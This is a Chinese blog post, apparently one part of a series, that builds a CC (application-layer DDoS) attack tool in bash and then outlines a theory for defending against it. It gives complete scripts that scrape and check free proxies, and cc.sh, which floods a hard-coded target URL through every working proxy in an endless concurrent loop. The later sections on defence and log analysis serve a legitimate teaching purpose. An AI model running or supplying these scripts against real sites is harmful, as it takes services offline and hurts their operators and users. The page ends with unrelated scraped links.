故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已

知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败

——孙子兵法·谋攻

我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

第一步:获取大量可用代理ip:port列表

  网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

 grab_proxy.sh
 #!/bin/bash

 #get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod function quit() {
rm -f $tmpFile
exit "$1"
} echo "get proxy list... please wait..." if [ -r "$proxyListFile" ]
then
rm -f $proxyListFile
fi touch $proxyListFile for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \
" http://www.youdaili.cn/Daili/guonei/2215_2.html" \
" http://www.youdaili.cn/Daili/guonei/2215_3.html" \
" http://www.youdaili.cn/Daili/guonei/2215_4.html "
do
if GET "$url" > $tmpFile
then
grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
| sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile
else
exec >&
echo "error: get proxy list fail! chech the url:$url or the network"
quit
fi
done echo "done. total `cat $proxyListFile | wc -l` proxy" quit
#exit

参数:

declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

 check_proxy.sh
 #!/bin/bash

 #get proxy list
declare check_threads=
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod function quit() {
exit "$1"
} #echo "start check proxy's functionality..." #retarget the input file to stdin
if [ "$#" -gt "" ]
then
exec <$
else
exec >&
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
quit
fi #check proxy's functionality
times=
while read line
do
times=$((times+))
j=
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
do
j=$((j+))
if [ "$j" -eq ]
then
ip=$i
else
port=$i
fi
done
#echo "times=$times ip=$ip port=$port"
# start test
if GET -t -p "http://$ip:$port" "http://baidu.com" &>/dev/null
then
echo "$ip $port"
echo ":) ip=$ip port=$port " &>/dev/null
else
echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/
fi &
mod=$((times%check_threads))
if [ "$mod" -eq "" ]
then
wait
fi
done #close the fd of input file
exec >&-
quit
#exit

参数:

declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET http://baidu.com方法,所以,并发数请不要也太高 :) 除非你的目标就是......

总结:应征入伍的士兵共计600人,经过考核的共计449人,如果你还想招募更多的士兵,奉劝一句,苦海无边,回头是岸。
 第二步:吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机,各位读者请不要太暴力,测试一下就可以了,地址 http://eecs.cc:8080/

笔者把这么重要的信息都放出来了,读者请点个赞吧  :)

 cc.sh
 #!/bin/bash

 declare target_url="http://eecs.cc:8080/"
declare get_timeout_sec=
declare line
declare times
declare ip
declare port
declare i
declare j function quit() {
exit "$1"
} #retarget the input file to stdin
if ! [ "$#" -gt "" ]
then
exec >&
echo "challenge collapsar attack -- cc attack"
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
quit
fi echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
echo "command: target: $target_url"
echo "command: start challenge collapsar attack :) amazing..." exec <$
#start challenge collapsar attack while true
do
times=
exec <&-
exec <$
while read line
do
times=$((times+))
j=
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
do
j=$((j+))
if [ "$j" -eq ]
then
ip=$i
else
port=$i
fi
done
echo "times=$times ip=$ip port=$port"
#single soldier attack
if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null
then
echo "soldier$times attack $target_url :)"
else
echo "soldier$times attack $target_url miss"
fi &
done
wait
done #close the fd of input file
exec >&-
quit
#exit

读者可自行尝试攻击这个站点,然后使用浏览器访问查看服务器网络状况,此时大量连接处于TIME_WAIT状态,参考TCP状态机,这一状态为主动关闭一方的最终等待状态。

请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来

  

  应用层DDoS的防御理论:

  问题模型描述:

  每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

用户资源使用频率=使用的服务器总资源量/s

  命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。

  命题二:资源使用频率持续异常的,可断定为访问异常的用户。

  防御体系状态机:

  1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;

  2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;

  3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;

  4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。

 

 上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:

  1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击;

2.站点突然间有了很多访问正常的新用户。

 建议后续工作:

  保守:站点应尽快进行服务能力升级。

积极:尽所能,追溯攻击者。

  追溯攻击者:
    CC:proxy-forward-from-ip
    单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
    单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表

   追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

      

防御者:

    1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
    2.历史日志的保存、分析
    3.对当前系统进行严格安全审计
    4.上报公安相关部分,努力追溯攻击者
    5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制

6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

  对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

    1.分析每个页面的平均访问频率

2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

3.得到对访问异常页面的访问异常ip列表

4.对日志分析得到忠实用户IP白名单

5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

如有问题或者建议,欢迎留言讨论 :)

附录:

  DDoS攻防战 (一) : 概述

DDoS攻防战 (二) :CC攻击工具实现与防御理论的更多相关文章

  1. DDoS攻防战(二):CC攻击工具实现与防御理论

    我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击. 第一步:获取大量 ...

  2. DDoS攻防战(二):CC攻击工具实现与防御理论--删除

    我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击. 第一步:获取大量 ...

  3. DDoS攻防战(三):ip黑白名单防火墙frdev的原理与实现

    在上一篇文章<DDoS攻防战 (二) :CC攻击工具实现与防御理论>中,笔者阐述了一个防御状态机,它可用来抵御来自应用层的DDoS攻击,但是该状态机依赖一个能应对大量条目快速增删的ip黑白 ...

  4. CC攻击工具list

    从论文里抠出来的工具列表如下,后面有黑产的工具以及网络上摘录的工具: 分类:(1)有僵尸网络(是否代理服务器)&没有的==>(2)单一url&混合url(多线程,压测为主,dem ...

  5. DDoS攻防战 (四):CC攻击防御系统部署

    1. 系统效果 此DDOS应用层防御系统已经部署在了http://www.yfdc.org网站上(如果访问失败,请直接访问位于国内的服务器http://121.42.45.55进行在线测试). 此防御 ...

  6. DDoS攻防战(一):概述

    原文出处: 陶辉的博客   欢迎分享原创到伯乐头条 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生) DDoS,即 Distributed Denial of Ser ...

  7. DDoS攻防战 (一) : 概述

    岁寒 然后知松柏之后凋也 ——论语·子罕 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生)    DDoS,即 Distributed Denial of Servi ...

  8. 转发 DDoS攻防战 (一) : 概述

     岁寒 然后知松柏之后凋也   岁寒 然后知松柏之后凋也 ——论语·子罕 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生)    DDoS,即 Distributed ...

  9. CC攻击介绍及如何防御

       CC攻击介绍 CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法.攻击者借助代理服务器生成指向受害主机的合 ...

随机推荐

  1. Spring学习--静态工厂方法、实例工厂方法创建 Bean

    通过调用静态工厂方法创建 bean: 调用静态工厂方法创建 bean 是将对象创建的过程封装到静态方法中 , 当客户端需要对象时 , 只需要简单地调用静态方法 , 而不需要关心创建对象的细节. 要声明 ...

  2. Selenium(ThoughtWorks公司开发的web自动化测试工具)

    Selenium也是一个用于Web应用程序测试的工具.Selenium测试直接运行在浏览器中,就像真正的用户在操作一样.支持的浏览器包括IE(7.8.9).Mozilla Firefox.Mozill ...

  3. php header运用细节

    http://www.111cn.net/phper/php-function/55872.htm http://blog.sina.com.cn/s/blog_7298f36f01011dxv.ht ...

  4. BMP、GIF、JPEG、PNG以及其它图片格式简单介绍

    版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/songjinshi/article/details/37516649 BMP格式 BMP是英文Bit ...

  5. 通过HTTP协议发送远程消息

    通过HTTP协议发送远程消息 MSMQ一般情况是通过tcp协议进行通讯,但如果遇到端口被禁用或防火墙,则通过HTTP协议发送消息是一个有效的解决办法. 通过HTTP协议发送消息到远程服务器 publi ...

  6. ZZ ? ?: 回?做??的十年技?生涯(?文,非??慎入)

    元音字母 身份 用户 文章 1409 星座 双子座 积分 14420 等级 灵樨(8) 发信人: fafe (元音字母), 信区: WorkLife 标  题: 回顾做码农的十年技术生涯(长文,非码农 ...

  7. 【转】每天一个linux命令(39):grep 命令

    原文网址:http://www.cnblogs.com/peida/archive/2012/12/17/2821195.html Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表 ...

  8. vue 文件中的注释

    在每个代码块内,注释的时候,需要使用各自语言的注释语法去注释(HTML.CSS.JavaScript.Jade 等).在文件最顶部注释的时候用HTML的注释语法:<!- 在这里写注释的内容 -- ...

  9. mysql 聚簇索引、非聚簇索引的区别

    索引分为聚簇索引和非聚簇索引. 以一本英文课本为例,要找第8课,直接翻书,若先翻到第5课,则往后翻,再翻到第10课,则又往前翻.这本书本身就是一个索引,即"聚簇索引". 如果要找& ...

  10. Spring本质-AOP

    一.我们在做系统设计的时候,一个非常重要的工作就是把一个大系统做分解, 按业务功能分解成一个个低耦合.高内聚的模块,就像这样: 但是分解以后就会发现有些很有趣的东西, 这些东西是通用的,或者是跨越多个 ...